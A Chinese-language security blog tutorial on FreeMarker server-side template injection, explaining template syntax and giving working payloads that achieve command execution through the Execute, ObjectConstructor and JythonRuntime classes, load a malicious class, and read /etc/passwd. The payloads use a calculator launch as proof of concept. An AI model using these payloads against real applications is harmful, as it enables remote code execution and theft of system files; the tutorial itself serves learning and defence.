0x00 介绍

这里主要学习下 FreeMarker 模板注入,FreeMarker 是一款模板引擎,FreeMarker 模板文件与 HTML 一样都是静态页面,当用户访问页面时,FreeMarker 引擎会进行解析并动态替换模板中的内容进行渲染,然后将渲染后的结果返回到浏览器中。

0x01 FreeMarker 模板

FreeMarker 模板语言(FreeMarker Template Language,FTL)由 4 个部分组成,分别如下:

  • 文本:包括 HTML 标签与静态文本等静态内容,该部分内容会原样输出

  • 插值:这部分的输出会被模板引擎计算的值来替换,使用 ${} 这种语法

  • 标签:和 HTML 标签类似,不会打印在输出的内容中,比如 <#assign name=‘bob’>

  • 注释:和 HTML 注释类似,由 <#-- 和 --> 表示,注释部分的内容会 FreeMarker 忽略

以下是一个 FreeMarker 模板内容示例:

<html>
<head><title>Welcome TeamsSix!</title>
</head>
<body> <#-- 这是注释 -->
<h1>Welcome !</h1>
<p>Our latest product:<a href="${latestProduct.url}">${latestProduct.name}</a>!
</body>
</html>

0x02 模板注入利用

1、new 函数的利用

FreeMarker 中预制了大量了内建函数,其中 new 函数可以创建一个继承自 freemarker.template.TemplateModel 类的变量,利用这一点能达到执行任意代码的目的。

利用方法一:

freemarker.template.utility 里有个 Execute 类,通过观察源代码里的第 30 行可以看到这个类会调用 Runtime.getRuntime().exec 函数执行它的 aExecute 变量参数值,因此这里可以使用 new 函数传输想要执行的命令作为 aExecute 参数值,从而执行命令。

freemarker.template.utility.Execute 部分文件代码如下:

22 public Object exec(List arguments) throws TemplateModelException {23    StringBuilder aOutputBuffer = new StringBuilder();
24    if (arguments.size() < 1) {25        throw new TemplateModelException("Need an argument to execute");
26    } else {27        String aExecute = (String)((String)arguments.get(0));
28
29        try {30            Process exec = Runtime.getRuntime().exec(aExecute);
31            InputStream execOut = exec.getInputStream();
32            Throwable var6 = null;

构造 payload 如下:

<#assign value="freemarker.template.utility.Execute"?new()>${value("open -a Calculator")}

利用方法二:

freemarker.template.utility 里有个 ObjectConstructor 类,通过观察源代码里的第 25 行可以看到这个类会把它的参数作为名称构造一个实例化对象。

因此也可以利用这一点构造一个可执行命令的对象,从而 RCE

freemarker.template.utility.ObjectConstructor 部分文件代码如下:

17 public class ObjectConstructor implements TemplateMethodModelEx {18     public ObjectConstructor() {19     }
20
21     public Object exec(List args) throws TemplateModelException {22         if (args.isEmpty()) {23             throw new TemplateModelException("This method must have at least one argument, the name of the class to instantiate.");
24         } else {25             String classname = args.get(0).toString();
26             Class cl = null;
27
28             try {29                 cl = ClassUtil.forName(classname);
30             } catch (Exception var6) {31                 throw new TemplateModelException(var6.getMessage());
32             }

构造 Payload 如下:

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","open","-a","Calculator").start()}

利用方法三:

freemarker.template.utility 里有个 JythonRuntime 类,这里可以通过自定义标签的方式执行 Python 命令,从而构造远程命令执行。

freemarker.template.utility.JythonRuntime 部分文件代码如下:

public class JythonRuntime extends PythonInterpreterimplements TemplateTransformModel {@Overridepublic Writer getWriter(final Writer out,final Map args) {final StringBuilder buf = new StringBuilder();final Environment env = Environment.getCurrentEnvironment();return new Writer() {@Overridepublic void write(char cbuf[], int off, int len) {buf.append(cbuf, off, len);}@Overridepublic void flush() throws IOException {interpretBuffer();out.flush();}@Overridepublic void close() {interpretBuffer();}private void interpretBuffer() {synchronized (JythonRuntime.this) {PyObject prevOut = systemState.stdout;try {setOut(out);set("env", env);exec(buf.toString());buf.setLength(0);} finally {setOut(prevOut);}}}};}
}

构造 Payload 如下:

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("open -a Calculator")</@value>

2、api 函数的利用

除了 new 函数,还可以利用 api 函数调用 Java API,然后通过 getClassLoader 获取类加载器从而加载恶意类,或者也可以通过 getResource 来实现任意文件读取。

加载恶意类的 Payload 如下:

<#assign classLoader=object?api.class.getClassLoader()>${classLoader.loadClass("Evil.class")}

任意文件读取的 Payload 如下:

<#assign uri=object?api.class.getResource("/").toURI()><#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()><#assign is=input?api.getInputStream()>FILE:[<#list 0..999999999 as _><#assign byte=is.read()><#if byte == -1><#break></#if>${byte}, </#list>]

不过 api 内建函数并不能随便使用,必须在配置项 apiBuiltinEnabled 为 true 时才有效,而该配置在 2.3.22 版本之后默认为 false

同时 FreeMarker 为了防御通过其他方式调用恶意方法,FreeMarker 内置了一份危险方法名单 unsafeMethods.properties,例如 getClassLoader、newInstance 等危险方法都被禁用了。

参考文章:

https://www.anquanke.com/post/id/215348

https://www.cnblogs.com/Eleven-Liu/p/12747908.html

原文链接:

https://www.teamssix.com/211203-200441.html

更多信息欢迎关注我的个人微信公众号:TeamsSix

【代码审计】模板注入相关推荐

  1. Java安全-注入漏洞(SQL注入、命令注入、表达式注入、模板注入)

    文章目录 注入 SQL注入 JDBC拼接不当造成SQL注入 框架使用不当造成SQL注入 不安全的反射 命令注入 代码注入 表达式注入 Spel表达式注入 OGNL表达式注入 模板注入 注入 SQL注入 ...

  2. buuctf 刷题 6(WEB-INF/web.xmlSmarty模板注入py脚本编写)

    [RoarCTF 2019]Easy Java 进去页面,得到一个登录框.因为题目是java,应该不是sql注入, 点开help,看见: filename参数可控 .没做过相应的java安全题目.看其 ...

  3. WEB 渗透之SSTI 模板注入

    SSTI 模板注入 文章目录 SSTI 模板注入 前言 一.注入 二.什么是 SSTI 模板注入 三.产生原因 四.常见的模板引擎 五.相关属性 六.检测方法 七.攻击思路 1. 攻击方向 2. 漏洞 ...

  4. apt_Word模板注入攻击

    Word模板注入攻击 win7:192.168.137.139:第一部分实验所用win7 虚拟机 win7:192.168.1.102:第二部分实验所用win7 虚拟机 kaili:192.168.1 ...

  5. confluence未授权模板注入/代码执行 cve-2019-3396

    参考: https://jira.atlassian.com/browse/CONFSERVER-57974 https://github.com/knownsec/pocsuite3/blob/ma ...

  6. cve-2019-11581 Atlassian Jira未授权服务端模板注入漏洞

    漏洞描述 Atlassian Jira是澳大利亚Atlassian公司的一套缺陷跟踪管理系统.该系统主要用于对工作中各类问题.缺陷进行跟踪管理. Atlassian Jira Server和Jira ...

  7. 详解模板注入漏洞(下)

    作者 | 原作者gosecure,翻译整理shan66 来源 | http://gosecure.github.io/ 在上一篇文章中,我们为读者详细介绍了模版注入漏洞的概念,模版引擎的识别方法,以及 ...

  8. CVE-2021-29454——Smarty模板注入

    漏洞报告 Smarty 是 PHP 的模板引擎,有助于将表示 (HTML/CSS) 与应用程序逻辑分离.在 3.1.42 和 4.0.2 版本之前,模板作者可以通过制作恶意数学字符串来运行任意 PHP ...

  9. jinja2模板注入_Flask jinja2 模板注入思路总结

    Flask jinja2 模板注入思路总结 前言 虽然这个漏洞已经出现很久了, 不过偶尔还是能够看到翻了翻 freebuf 上好像只有 python2 的一些 payload, 方法也不是很全我找来找 ...

最新文章

  1. 人脸识别技术在支付场景的机遇与挑战
  2. Python Numpy 从文件中读取数据
  3. Microsoft Visual SourceSafe 使用指南
  4. 1874: 生活大爆炸版石头剪刀布
  5. VS 2013 Preview 自定义 SharePoint 2013 列表 之 两个Bug
  6. 手机、平板、PC与智能电视实现数据大统一
  7. ios charts显示固定个数_上次挂在了百度iOS二面不服气, 三月之期已到,这次终于拿下offer!...
  8. 在linux环境获取pcie卡信息,如何Linux下得到CPU、内存及PCI信息
  9. PyQt 5信号与槽的几种高级玩法
  10. java 泛型 basedao_java的SSH的baseDao,巧用泛型
  11. 计算机应用专业对视力,多媒体教学设备对学生视力影响问题的思考及建议
  12. AWS-EC2域名映射
  13. mysql数据库的用户是什么_mysql 数据库用户管理
  14. android平台多路摄像头实现方式的简析
  15. jQuery 表单提交衣服尺寸选择勾选获取value值-20130720
  16. 2023年,哪些Web3赛道的表现最值得期待?(文末有奖)
  17. 【Redis基础和应用】(四)HyperLogLog BloomFilter
  18. MLAT-Autoencoders for Conditional Risk Factors and Asset Pricing---上篇
  19. 陆奇的离职对今后的百度业务发展有影响吗?
  20. 常见密码哈希离线查询工具

热门文章

  1. [NOIP2009 普及组] 细胞分裂
  2. 一文最全总结之Spring从入门到入土
  3. 短进程算法c语言,短进程优先算法C语言实现
  4. 第1章 jQuery入门
  5. beanstalkd java使用_消息队列 beanstalkd 介绍
  6. 【工业4.0】工业4.0之父独家解读:还原工业4.0
  7. Nova API简单介绍
  8. 无需twrp实现magisk刷入(以华为荣耀v9为例)
  9. MBSE建模学习之三:系统功能--行为(Behavior)的说明
  10. 定义一个数组,数据类型为int,通过键盘输入10个数组元素,编程实现由小到大排序。